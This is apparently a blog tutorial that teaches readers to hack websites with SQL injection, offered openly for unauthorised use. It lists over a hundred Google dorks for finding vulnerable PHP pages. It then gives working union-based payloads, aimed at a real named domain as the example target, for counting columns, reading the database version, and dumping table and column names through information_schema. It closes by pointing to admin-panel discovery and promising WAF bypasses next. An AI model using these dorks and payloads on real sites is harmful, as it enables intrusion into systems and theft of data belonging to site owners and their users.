Sql Injection

Hi Today I will be Teaching You a common Method to Hack websites That you want but The condition is it should be vulnerable.

 What a hacker can do with SQL Injection attack?

* ByPassing Logins
* Accessing secret data
* Modifying contents of website
* Shutting down the My SQL server

First Find the vulnerabilty
To find the vulnerability you can use Web Vulnerability Scanner or Google Dorks





Dorks:

"inurl:index.php?catid="
"inurl:news.php?catid="
"inurl:index.php?id="
"inurl:news.php?id="
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=



 How to check if a webpage is vulnerable to this attack???

Navigate to one of the websites you found. For this example, assume that one of the search results is http://www.udemy.com/index.php?catid=1. To find out if this site is vulnerable to SQL injection, simply add an apostrophe at the end of the URL like this:

 http://www.udemy.com/index.php?catid=1’

 Press enter and see what the website does. If the page returns a SQL error, the website is vulnerable to SQL injection. If the page loads normally, it is not a candidate for SQL injection and you should move on to the next URL in your list.

After locating a vulnerable site, you need to figure out how many columns are in the SQL database and how many of those columns are able to accept queries from you. Append an “order by” statement to the URL like this:

http://www.udemy.com/index.php?catid=1 order by 1

Continue to increase the number after “order by” until you get an error. The number of columns in the SQL database is the highest number before you receive an error. You also need to find out what columns are accepting queries.

You can do this by appending an “Union Select” statement to the URL. A union select statement in this URL would look like this:

http://www.udemy.com/index.php?catid=-1 union select 1,2,3,4,5,6

There are a couple of things to note in this example. Before the number one (after catid), you need to add a hyphen (-). Also, the number of columns you discovered in the previous step is the number of digits you put after the union select statement. For instance, if you discovered that the database had 12 columns, you would append:

http://www.udemy.com/index.php?catid=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12

The results of this query will be the column numbers that are actually accepting queries from you. You can choose any one of these columns to inject your SQL statements.

Lik this image

Bingo,  column '3' and '7' are found to be vulnerable.  Let us take the first vulnerable column '3' . We can inject our query in this column.

 Find The version,database,user

http://www.udemy.com/index.php?catid=-2 and 1=2 union select 1,2,version(),4,5,6,7--

 Find the Table Name

http://www.udemy.com/index.php?catid=-2 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()-- 

 Find the Column Name

Now replace the "group_concat(table_name) with the "group_concat(column_name)"

Replace the "from information_schema.tables where table_schema=database()--" with "FROM information_schema.columns WHERE table_name=mysqlchar--

We have to convert the table name to MySql CHAR() string .
 You can covert it by using HackBar addon in Mozilla Firefox

Install the HackBar addon:
Download HackBar

Once you installed the add-on, you can see a toolbar that will look like the following one. If you are not able to see the Hackbar, then press F9.

Select sql->Mysql->MysqlChar() in the Hackbar.


It will ask you to enter string that you want to convert to MySQLCHAR().  We want to convert the table name to MySQLChar .  In our case the table name is 'admin'.



Now you can see the CHAR(with commans) in the Hack toolbar.



Copy and paste the code at end of the url instead of the "mysqlchar"

http://www.udemy.com/index.php?catid=-2 and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)-- 

Find the Admin Panel

You can use Perl admin Finder script To find The admin pael of a website

Thats it GAME OVER !!! 


IN NEXT TUTORIAL I WILL TEACH YOU HOW TO BYPASS WAF WITH SQL INJECTION

Please Give Us Your 1 Minute In Sharing This Post!

SOCIALIZE IT →

Tweet

FOLLOW US →

SHARE IT →

Powered By: vaji virus